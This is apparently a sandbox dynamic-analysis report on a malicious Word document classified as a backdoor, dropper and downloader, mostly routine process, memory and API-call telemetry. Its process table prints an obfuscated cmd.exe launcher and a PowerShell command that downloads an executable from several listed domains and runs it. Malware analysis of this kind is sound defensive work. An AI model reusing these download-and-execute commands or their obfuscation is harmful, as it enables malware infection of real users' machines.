81f1a5fa...beee | Sequential Behavior
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Dynamic Analysis Report
Classification: Backdoor, Dropper, Downloader

81f1a5faaa792952e49c477f54c75beec7fd03d3a1c250db2b863ec2b669beee (SHA256)

Dokumente-UOM36417800369487.doc

Word Document

Created at 2018-08-01 10:16:00

...

Notifications (1/1)

The maximum number of reputation URL requests (10 per analysis) was exceeded. As a result, the reputation status could not be queried for all contacted URLs. In order to get the reputation status for all contacted URLs, please increase the 'Max URL Requests' setting in the system configurations.

Grouped Sequential

Monitored Processes

Process Graph

Process Graph Legend
Process Overview
»
ID PID Monitor Reason Integrity Level Image Name Command Line Origin ID
#1 0x9a4 Analysis Target Medium winword.exe "C:\Program Files\Microsoft Office\Office15\WINWORD.EXE" /n -
#2 0xa34 Child Process Medium cmd.exe cmd /V/C"set pPr=MOANtGXcfYQDJZlJqsHzDVpR-8Ix'$iS{@+vC2o=/(WFbjdh);gekUnaru}P7:E, wy0.\m&&for %D in (22;38;65;51;56;17;47;51;14;14;64;29;55;21;21;39;54;51;65;24;38;44;45;51;7;4;64;3;51;4;68;42;51;44;36;14;30;51;54;4;49;29;15;62;17;39;28;47;4;4;22;61;40;40;35;46;4;38;50;4;68;54;14;40;55;70;66;10;33;47;4;4;22;61;40;40;35;30;7;30;38;57;17;51;54;4;51;56;22;56;30;17;51;17;68;7;38;70;40;16;6;53;57;6;16;33;47;4;4;22;61;40;40;57;54;7;14;51;44;57;46;17;22;30;7;51;68;7;38;70;40;25;67;46;33;47;4;4;22;61;40;40;35;55;14;30;57;54;55;17;68;7;38;70;40;5;25;36;38;38;26;33;47;4;4;22;61;40;40;4;47;51;17;30;14;35;51;56;55;70;51;56;30;7;55;54;51;55;50;14;51;68;7;38;70;40;4;44;28;68;31;22;14;30;4;41;28;33;28;48;49;29;42;6;62;64;39;64;28;60;37;60;28;49;29;23;42;30;39;29;51;54;35;61;4;51;70;22;34;28;69;28;34;29;42;6;62;34;28;68;51;27;51;28;49;8;38;56;51;55;7;47;41;29;54;16;13;64;30;54;64;29;15;62;17;48;32;4;56;66;32;29;55;21;21;68;20;38;65;54;14;38;55;46;43;30;14;51;41;29;54;16;13;63;64;29;23;42;30;48;49;31;4;55;56;4;24;59;56;38;7;51;17;17;64;29;23;42;30;49;44;56;51;55;52;49;58;7;55;4;7;47;32;58;58;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;80)do set Zv=!Zv!!pPr:~%D,1!&&if %D==80 call %Zv:~-362%" #1
#3 0xa54 Child Process Medium powershell.exe powershell $aVV=new-object Net.WebClient;$JEs='http://vdtogt.nl/amyQ@http://viciousenterprises.com/qXUuXq@http://unclebudspice.com/80d@http://valiunas.com/G8CooI@http://thesilveramericaneagle.com/tb'.Split('@');$WXE = '727';$RWi=$env:temp+'\'+$WXE+'.exe';foreach($nqZ in $JEs){try{$aVV.DownloadFile($nqZ, $RWi);Start-Process $RWi;break;}catch{}} #2
#4 0xbd0 Child Process Medium 727.exe "C:\Users\BGC6U8~1\AppData\Local\Temp\727.exe" #3
#5 0xbdc Child Process Medium 727.exe "C:\Users\BGC6U8~1\AppData\Local\Temp\727.exe" #4
#6 0xbf8 Child Process Medium aeroroyale.exe "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" #5
#7 0xc08 Child Process Medium aeroroyale.exe "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" #6
#9 0xd40 Child Process Medium aeroroyale.exe "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F833.tmp" #7
#10 0xd48 Child Process Medium aeroroyale.exe "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" "C:\Users\BGC6U8~1\AppData\Local\Temp\F843.tmp" #7
#11 0xd50 Child Process Medium aeroroyale.exe "C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\aeroroyale.exe" /scomma "C:\Users\BGC6U8~1\AppData\Local\Temp\F854.tmp" #7

Behavior Information - Sequential View

Process #1: winword.exe
8717 0
»
Information Value
ID #1
File Name c:\program files\microsoft office\office15\winword.exe
Command Line "C:\Program Files\Microsoft Office\Office15\WINWORD.EXE" /n
Initial Working Directory C:\Users\BGC6u8Oy yXGxkR\Desktop\
Monitor Start Time: 00:00:48, Reason: Analysis Target
Unmonitor End Time: 00:03:58, Reason: Self Terminated
Monitor Duration 00:03:10
OS Process Information
»
Information Value
PID 0x9a4
Parent PID 0x4f8 (c:\windows\explorer.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username F71GWAT\BGC6u8Oy yXGxkR
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 9E0
0x 9DC
0x 9D8
0x 9D4
0x 9D0
0x 9CC
0x 9C0
0x 9BC
0x 9B8
0x 9B4
0x 9B0
0x 9A8
0x A30
0x A50
0x AA0
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
private_0x0000000000020000 0x00020000 0x00020fff Private Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00043fff Pagefile Backed Memory r True False False -
locale.nls 0x00050000 0x000b6fff Memory Mapped File r False False False -
private_0x00000000000c0000 0x000c0000 0x000c0fff Private Memory rw True False False -
private_0x00000000000d0000 0x000d0000 0x001cffff Private Memory rw True False False -
pagefile_0x00000000001d0000 0x001d0000 0x001d1fff Pagefile Backed Memory r True False False -
pagefile_0x00000000001e0000 0x001e0000 0x001e1fff Pagefile Backed Memory r True False False -
pagefile_0x00000000001f0000 0x001f0000 0x002b7fff Pagefile Backed Memory r True False False -
private_0x00000000002c0000 0x002c0000 0x002c0fff Private Memory rw True False False -
private_0x00000000002d0000 0x002d0000 0x002d0fff Private Memory rw True False False -
private_0x00000000002e0000 0x002e0000 0x002effff Private Memory rw True False False -
private_0x00000000002f0000 0x002f0000 0x002fffff Private Memory rw True False False -
private_0x0000000000300000 0x00300000 0x00330fff Private Memory rw True False False -
pagefile_0x0000000000340000 0x00340000 0x00341fff Pagefile Backed Memory r True False False -
private_0x0000000000350000 0x00350000 0x00359fff Private Memory rwx True False False -
private_0x0000000000360000 0x00360000 0x0036ffff Private Memory - True False False -
private_0x0000000000370000 0x00370000 0x0046ffff Private Memory rw True False False -
pagefile_0x0000000000470000 0x00470000 0x00570fff Pagefile Backed Memory r True False False -
private_0x0000000000580000 0x00580000 0x0059ffff Private Memory rw True False False -
pagefile_0x00000000005b0000 0x005b0000 0x005b1fff Pagefile Backed Memory r True False False -
private_0x00000000005d0000 0x005d0000 0x005dffff Private Memory rw True False False -
pagefile_0x00000000005e0000 0x005e0000 0x006befff Pagefile Backed Memory r True False False -
private_0x00000000006c0000 0x006c0000 0x006cffff Private Memory rw True False False -
pagefile_0x0000000000700000 0x00700000 0x00700fff Pagefile Backed Memory rw True False False -
private_0x0000000000710000 0x00710000 0x0080ffff Private Memory rw True False False -
private_0x0000000000810000 0x00810000 0x0084ffff Private Memory rw True False False -
pagefile_0x00000000008f0000 0x008f0000 0x008f6fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000900000 0x00900000 0x00901fff Pagefile Backed Memory rw True False False -
private_0x0000000000910000 0x00910000 0x00910fff Private Memory rw True False False -
pagefile_0x0000000000920000 0x00920000 0x00920fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000930000 0x00930000 0x00933fff Pagefile Backed Memory rw True False False -
private_0x0000000000940000 0x00940000 0x00940fff Private Memory rw True False False -
private_0x0000000000950000 0x00950000 0x00950fff Private Memory rw True False False -
private_0x0000000000960000 0x00960000 0x00a5ffff Private Memory rw True False False -
sortdefault.nls 0x00a60000 0x00d2efff Memory Mapped File r False False False -
private_0x0000000000d30000 0x00d30000 0x00e2ffff Private Memory rw True False False -
pagefile_0x0000000000e30000 0x00e30000 0x00e31fff Pagefile Backed Memory r True False False -
private_0x0000000000e40000 0x00e40000 0x00e4ffff Private Memory rw True False False -
pagefile_0x0000000000e50000 0x00e50000 0x00e50fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000e60000 0x00e60000 0x00e60fff Pagefile Backed Memory r True False False -
msxml6r.dll 0x00e70000 0x00e70fff Memory Mapped File r False False False -
pagefile_0x0000000000e80000 0x00e80000 0x00e80fff Pagefile Backed Memory rw True False False -
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001c.db 0x00f90000 0x00faffff Memory Mapped File r True False False -
private_0x0000000000fc0000 0x00fc0000 0x00fc0fff Private Memory rw True False False -
private_0x0000000000fd0000 0x00fd0000 0x0100ffff Private Memory rw True False False -
c_1255.nls 0x01010000 0x01020fff Memory Mapped File r False False False -
private_0x0000000001080000 0x01080000 0x0108ffff Private Memory rw True False False -
winword.exe 0x01090000 0x01266fff Memory Mapped File rwx False False False -
pagefile_0x0000000001270000 0x01270000 0x01e6ffff Pagefile Backed Memory r True False False -
private_0x0000000001e90000 0x01e90000 0x01f8ffff Private Memory rw True False False -
pagefile_0x0000000001f90000 0x01f90000 0x02382fff Pagefile Backed Memory r True False False -
private_0x00000000024d0000 0x024d0000 0x0254ffff Private Memory rw True False False -
private_0x0000000002560000 0x02560000 0x0265ffff Private Memory rw True False False -
kernelbase.dll.mui 0x02660000 0x0271ffff Memory Mapped File rw False False False -
private_0x0000000002740000 0x02740000 0x0283ffff Private Memory rw True False False -
pagefile_0x0000000002840000 0x02840000 0x02c3ffff Pagefile Backed Memory r True False False -
staticcache.dat 0x02c40000 0x0356ffff Memory Mapped File r False False False -
segoeui.ttf 0x03570000 0x035eefff Memory Mapped File r False False False -
private_0x0000000003660000 0x03660000 0x0366ffff Private Memory rw True False False -
private_0x0000000003700000 0x03700000 0x0373ffff Private Memory rwx True False False -
private_0x0000000003780000 0x03780000 0x0387ffff Private Memory rw True False False -
private_0x00000000038a0000 0x038a0000 0x038affff Private Memory rw True False False -
private_0x00000000038e0000 0x038e0000 0x0391ffff Private Memory rwx True False False -
pagefile_0x0000000003920000 0x03920000 0x0411ffff Pagefile Backed Memory rw True False False -
private_0x0000000004120000 0x04120000 0x0421ffff Private Memory rw True False False -
private_0x0000000004290000 0x04290000 0x0438ffff Private Memory rw True False False -
private_0x00000000043d0000 0x043d0000 0x044cffff Private Memory rw True False False -
private_0x00000000044d0000 0x044d0000 0x045cffff Private Memory rw True False False -
tahoma.ttf 0x045d0000 0x0467afff Memory Mapped File r False False False -
private_0x0000000004690000 0x04690000 0x0478ffff Private Memory rw True False False -
private_0x0000000004850000 0x04850000 0x0488ffff Private Memory rw True False False -
private_0x00000000048d0000 0x048d0000 0x049cffff Private Memory rw True False False -
pagefile_0x00000000049d0000 0x049d0000 0x04dcffff Pagefile Backed Memory rw True False False -
private_0x0000000004dd0000 0x04dd0000 0x04fcffff Private Memory rw True False False -
private_0x0000000004fd0000 0x04fd0000 0x050a0fff Private Memory rw True False False -
private_0x0000000005150000 0x05150000 0x0518ffff Private Memory rw True False False -
private_0x0000000005190000 0x05190000 0x051cffff Private Memory rw True False False -
private_0x00000000051d0000 0x051d0000 0x055cffff Private Memory rw True False False -
private_0x00000000055d0000 0x055d0000 0x059d0fff Private Memory rw True False False -
private_0x00000000059e0000 0x059e0000 0x05de0fff Private Memory rw True False False -
private_0x0000000005df0000 0x05df0000 0x061f0fff Private Memory rw True False False -
private_0x0000000006200000 0x06200000 0x063fffff Private Memory rw True False False -
private_0x0000000006400000 0x06400000 0x067fffff Private Memory rw True False False -
private_0x0000000037170000 0x37170000 0x3717ffff Private Memory rwx True False False -
wwlib.dll 0x63850000 0x64d0bfff Memory Mapped File rwx False False False -
riched20.dll 0x65290000 0x6541dfff Memory Mapped File rwx False False False -
oart.dll 0x65420000 0x661c7fff Memory Mapped File rwx False False False -
dwrite.dll 0x663a0000 0x664a9fff Memory Mapped File rwx False False False -
adal.dll 0x66500000 0x665b4fff Memory Mapped File rwx False False False -
msptls.dll 0x667e0000 0x668f5fff Memory Mapped File rwx False False False -
msores.dll 0x67300000 0x6bfeafff Memory Mapped File rwx False False False -
mso.dll 0x6bff0000 0x6d8d3fff Memory Mapped File rwx False False False -
d3d10warp.dll 0x6e930000 0x6ea5bfff Memory Mapped File rwx False False False -
msointl.dll 0x6ea60000 0x6edd0fff Memory Mapped File rwx False False False -
msxml6.dll 0x6f100000 0x6f257fff Memory Mapped File rwx False False False -
webio.dll 0x6fd30000 0x6fd7efff Memory Mapped File rwx False False False -
winhttp.dll 0x6fd80000 0x6fdd7fff Memory Mapped File rwx False False False -
mscoreei.dll 0x70980000 0x709f9fff Memory Mapped File rwx True False False -
wwintl.dll 0x70a00000 0x70abffff Memory Mapped File rwx False False False -
osppc.dll 0x70ac0000 0x70aecfff Memory Mapped File rwx False False False -
d3d11.dll 0x70af0000 0x70b72fff Memory Mapped File rwx False False False -
d2d1.dll 0x70b80000 0x70c39fff Memory Mapped File rwx False False False -
office.odf 0x716e0000 0x71bdffff Memory Mapped File rwx False False False -
msi.dll 0x71be0000 0x71e1ffff Memory Mapped File rwx False False False -
msvcp100.dll 0x71e50000 0x71eb8fff Memory Mapped File rwx False False False -
msvcr100.dll 0x71ec0000 0x71f7efff Memory Mapped File rwx False False False -
dxgi.dll 0x723c0000 0x72442fff Memory Mapped File rwx False False False -
d3d10_1core.dll 0x72450000 0x72489fff Memory Mapped File rwx False False False -
d3d10_1.dll 0x72490000 0x724bbfff Memory Mapped File rwx False False False -
mscoree.dll 0x727a0000 0x727e9fff Memory Mapped File rwx True False False -
msimg32.dll 0x729a0000 0x729a4fff Memory Mapped File rwx False False False -
winspool.drv 0x738c0000 0x73910fff Memory Mapped File rwx False False False -
ntmarta.dll 0x740e0000 0x74100fff Memory Mapped File rwx False False False -
wtsapi32.dll 0x74370000 0x7437cfff Memory Mapped File rwx False False False -
windowscodecs.dll 0x74390000 0x7448afff Memory Mapped File rwx False False False -
dwmapi.dll 0x744c0000 0x744d2fff Memory Mapped File rwx False False False -
gdiplus.dll 0x74660000 0x747effff Memory Mapped File rwx False False False -
uxtheme.dll 0x747f0000 0x7482ffff Memory Mapped File rwx False False False -
propsys.dll 0x74830000 0x74924fff Memory Mapped File rwx False False False -
comctl32.dll 0x74970000 0x74b0dfff Memory Mapped File rwx False False False -
version.dll 0x74ee0000 0x74ee8fff Memory Mapped File rwx False False False -
rsaenh.dll 0x75200000 0x7523afff Memory Mapped File rwx False False False -
cryptsp.dll 0x75460000 0x75475fff Memory Mapped File rwx False False False -
secur32.dll 0x758a0000 0x758a7fff Memory Mapped File rwx False False False -
sspicli.dll 0x758c0000 0x758dafff Memory Mapped File rwx False False False -
cryptbase.dll 0x758e0000 0x758ebfff Memory Mapped File rwx False False False -
winsta.dll 0x75950000 0x75978fff Memory Mapped File rwx False False False -
rpcrtremote.dll 0x75980000 0x7598dfff Memory Mapped File rwx False False False -
profapi.dll 0x75990000 0x7599afff Memory Mapped File rwx False False False -
msasn1.dll 0x75a00000 0x75a0bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x75a10000 0x75a59fff Memory Mapped File rwx False False False -
cfgmgr32.dll 0x75a60000 0x75a86fff Memory Mapped File rwx False False False -
crypt32.dll 0x75a90000 0x75bacfff Memory Mapped File rwx False False False -
devobj.dll 0x75bb0000 0x75bc1fff Memory Mapped File rwx False False False -
wintrust.dll 0x75c60000 0x75c8cfff Memory Mapped File rwx False False False -
advapi32.dll 0x75c90000 0x75d2ffff Memory Mapped File rwx False False False -
msctf.dll 0x75d30000 0x75dfbfff Memory Mapped File rwx False False False -
clbcatq.dll 0x75e00000 0x75e82fff Memory Mapped File rwx False False False -
urlmon.dll 0x75e90000 0x75fc5fff Memory Mapped File rwx False False False -
sechost.dll 0x75fd0000 0x75fe8fff Memory Mapped File rwx False False False -
wldap32.dll 0x75ff0000 0x76034fff Memory Mapped File rwx False False False -
msvcrt.dll 0x76040000 0x760ebfff Memory Mapped File rwx False False False -
shell32.dll 0x760f0000 0x76d39fff Memory Mapped File rwx False False False -
gdi32.dll 0x76d40000 0x76d8dfff Memory Mapped File rwx False False False -
setupapi.dll 0x76dc0000 0x76f5cfff Memory Mapped File rwx False False False -
iertutil.dll 0x76f70000 0x7716afff Memory Mapped File rwx False False False -
user32.dll 0x77170000 0x77238fff Memory Mapped File rwx False False False -
usp10.dll 0x77240000 0x772dcfff Memory Mapped File rwx False False False -
For performance reasons, the remaining 136 entries are omitted.
The remaining entries can be found in flog.txt.
Threads
Thread 0x9d8
2 0
»
Category Operation Information Success Count Logfile
System Get Time type = Ticks, time = 110339 True 1
Fn
System Get Time type = Ticks, time = 114676 True 1
Fn
Thread 0x9a8
4975 0
»
Category Operation Information Success Count Logfile
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = c:\program files\microsoft office\office15\winword.exe, base_address = 0x1090000 True 1
Fn
Module Get Handle module_name = c:\windows\system32\msi.dll, base_address = 0x71be0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\msi.dll, function = MsiProvideQualifiedComponentA, address_out = 0x71c0c331 True 1
Fn
Module Get Address module_name = c:\windows\system32\msi.dll, function = MsiGetProductCodeA, address_out = 0x71c0ea84 True 1
Fn
Module Get Address module_name = c:\windows\system32\msi.dll, function = MsiReinstallFeatureA, address_out = 0x71c91cf6 True 1
Fn
Module Get Address module_name = c:\windows\system32\msi.dll, function = MsiProvideComponentA, address_out = 0x71c9f5d1 True 1
Fn
Module Get Handle module_name = C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL, base_address = 0x0 False 1
Fn
Module Load module_name = C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL, base_address = 0x670d0000 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoVBADigSigCallDlg@20, address_out = 0x671ffe80 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoVbaInitSecurity@4, address_out = 0x67188951 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFIEPolicyAndVersion@8, address_out = 0x6717cd31 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFAnsiCodePageSupportsLCID@8, address_out = 0x6718882e True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFInitOffice@20, address_out = 0x6717cd4b True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoUninitOffice@4, address_out = 0x671396db True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFGetFontSettings@20, address_out = 0x67131af9 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoRgchToRgwch@16, address_out = 0x67139bae True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoHrSimpleQueryInterface@16, address_out = 0x671334e1 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoHrSimpleQueryInterface2@20, address_out = 0x67133523 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFCreateControl@36, address_out = 0x67134a26 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFLongLoad@8, address_out = 0x67231250 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFLongSave@8, address_out = 0x67231259 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFGetTooltips@0, address_out = 0x6716dfac True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFSetTooltips@4, address_out = 0x67192845 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFLoadToolbarSet@24, address_out = 0x6717dd8b True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFCreateToolbarSet@28, address_out = 0x671323c9 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoHpalOffice@0, address_out = 0x6713c568 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFWndProcNeeded@4, address_out = 0x671318d2 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFWndProc@24, address_out = 0x67132a70 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFCreateITFCHwnd@20, address_out = 0x67131925 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoDestroyITFC@4, address_out = 0x6713958b True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFPitbsFromHwndAndMsg@12, address_out = 0x67138820 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFGetComponentManager@4, address_out = 0x671335a4 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoMultiByteToWideChar@24, address_out = 0x6713ac03 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoWideCharToMultiByte@32, address_out = 0x67134d33 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoHrRegisterAll@0, address_out = 0x671ff8b6 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFSetComponentManager@4, address_out = 0x6713c179 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFCreateStdComponentManager@20, address_out = 0x671319d5 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFHandledMessageNeeded@4, address_out = 0x67136736 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoPeekMessage@8, address_out = 0x6713649f True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFCreateIPref@28, address_out = 0x6712f9cf True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoDestroyIPref@4, address_out = 0x67139320 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoChsFromLid@4, address_out = 0x6712f864 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoCpgFromChs@4, address_out = 0x67131cc5 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoSetLocale@4, address_out = 0x6712f984 True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoFSetHMsoinstOfSdm@4, address_out = 0x6713198e True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoSetVbaInterfaces@8, address_out = 0x671fff8d True 1
Fn
Module Get Address module_name = Unknown module name, function = _MsoGetControlInstanceId@8, address_out = 0x671d86e7 True 1
Fn
Environment Get Environment String name = DDRYBUR False 1
Fn
Module Get Filename process_name = c:\program files\microsoft office\office15\winword.exe, file_name_orig = C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL, size = 260 True 1
Fn
Module Load module_name = C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\1033\VBE7INTL.DLL, base_address = 0x70330000 True 1
Fn
Module Get Filename process_name = c:\program files\microsoft office\office15\winword.exe, file_name_orig = C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL, size = 260 True 1
Fn
System Get Info type = Operating System True 1
Fn
Registry Open Key reg_name = HKEY_CLASSES_ROOT\Licenses True 1
Fn
Registry Read Value reg_name = HKEY_CLASSES_ROOT\Licenses\8804558B-B773-11d1-BC3E-0000F87552E7, data = } False 1
Fn
Module Load module_name = OLEAUT32.DLL, base_address = 0x77360000 True 1
Fn
Module Get Address module_name = Unknown module name, function = SysFreeString, address_out = 0x77363e59 True 1
Fn
Module Get Address module_name = Unknown module name, function = LoadTypeLib, address_out = 0x77370aa2 True 1
Fn
Module Get Address module_name = Unknown module name, function = RegisterTypeLib, address_out = 0x77381ea6 True 1
Fn
Module Get Address module_name = Unknown module name, function = QueryPathOfRegTypeLib, address_out = 0x7739351b True 1
Fn
Module Get Address module_name = Unknown module name, function = UnRegisterTypeLib, address_out = 0x77391ca9 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleTranslateColor, address_out = 0x773926fa True 1
Fn
Module Get Address module_name = Unknown module name, function = OleCreateFontIndirect, address_out = 0x7738352f True 1
Fn
Module Get Address module_name = Unknown module name, function = OleCreatePictureIndirect, address_out = 0x77383df8 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleLoadPicture, address_out = 0x773c7c49 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleCreatePropertyFrameIndirect, address_out = 0x773c93fc True 1
Fn
Module Get Address module_name = Unknown module name, function = OleCreatePropertyFrame, address_out = 0x773c944a True 1
Fn
Module Get Address module_name = Unknown module name, function = OleIconToCursor, address_out = 0x773c776e True 1
Fn
Module Get Address module_name = Unknown module name, function = LoadTypeLibEx, address_out = 0x773707b7 True 1
Fn
Module Get Address module_name = Unknown module name, function = OleLoadPictureEx, address_out = 0x773c70a1 True 1
Fn
Window Create class_name = ThunderMain, wndproc_parameter = 0 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = c:\windows\system32\user32.dll, base_address = 0x77170000 True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = GetSystemMetrics, address_out = 0x771867cf True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = MonitorFromWindow, address_out = 0x77183622 True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = MonitorFromRect, address_out = 0x77180ca1 True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = MonitorFromPoint, address_out = 0x771794c9 True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = EnumDisplayMonitors, address_out = 0x771834a3 True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = GetMonitorInfoA, address_out = 0x7717c34e True 1
Fn
Module Get Address module_name = c:\windows\system32\user32.dll, function = EnumDisplayDevicesA, address_out = 0x7717c204 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Get Handle module_name = oleaut32.dll, base_address = 0x77360000 True 1
Fn
Module Get Address module_name = Unknown module name, function = DispCallFunc, address_out = 0x77373dcf True 1
Fn
Module Get Address module_name = Unknown module name, function = LoadTypeLibEx, address_out = 0x773707b7 True 1
Fn
Module Get Address module_name = Unknown module name, function = UnRegisterTypeLib, address_out = 0x77391ca9 True 1
Fn
Module Get Address module_name = Unknown module name, function = CreateTypeLib2, address_out = 0x77378e70 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDateFromUdate, address_out = 0x77377684 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarUdateFromDate, address_out = 0x7737cc98 True 1
Fn
Module Get Address module_name = Unknown module name, function = GetAltMonthNames, address_out = 0x773a903a True 1
Fn
Module Get Address module_name = Unknown module name, function = VarNumFromParseNum, address_out = 0x77376231 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarParseNumFromStr, address_out = 0x77375fea True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromR4, address_out = 0x77383f94 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromR8, address_out = 0x77384e9e True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromDate, address_out = 0x773adb72 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromI4, address_out = 0x77392a8c True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDecFromCy, address_out = 0x773ad737 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarR4FromDec, address_out = 0x773ae015 True 1
Fn
Module Get Address module_name = Unknown module name, function = GetRecordInfoFromTypeInfo, address_out = 0x773acc3d True 1
Fn
Module Get Address module_name = Unknown module name, function = GetRecordInfoFromGuids, address_out = 0x773ad1c4 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayGetRecordInfo, address_out = 0x773ad48c True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArraySetRecordInfo, address_out = 0x773ad4c6 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayGetIID, address_out = 0x773ad509 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArraySetIID, address_out = 0x7737e7bb True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayCopyData, address_out = 0x7737e496 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayAllocDescriptorEx, address_out = 0x7737ddf1 True 1
Fn
Module Get Address module_name = Unknown module name, function = SafeArrayCreateEx, address_out = 0x773ad53f True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormat, address_out = 0x773b2055 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormatDateTime, address_out = 0x773b20ea True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormatNumber, address_out = 0x773b2151 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormatPercent, address_out = 0x773b21f5 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarFormatCurrency, address_out = 0x773b2288 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarWeekdayName, address_out = 0x773b2335 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarMonthName, address_out = 0x773b23d5 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarAdd, address_out = 0x77385934 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarAnd, address_out = 0x77385a98 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarCat, address_out = 0x773859b4 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarDiv, address_out = 0x773de405 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarEqv, address_out = 0x773def07 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarIdiv, address_out = 0x773df00a True 1
Fn
Module Get Address module_name = Unknown module name, function = VarImp, address_out = 0x773def47 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarMod, address_out = 0x773df15e True 1
Fn
Module Get Address module_name = Unknown module name, function = VarMul, address_out = 0x773ddbd4 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarOr, address_out = 0x773decfa True 1
Fn
Module Get Address module_name = Unknown module name, function = VarPow, address_out = 0x773dea66 True 1
Fn
Module Get Address module_name = Unknown module name, function = VarSub, address_out = 0x773dd332 True 1
Fn
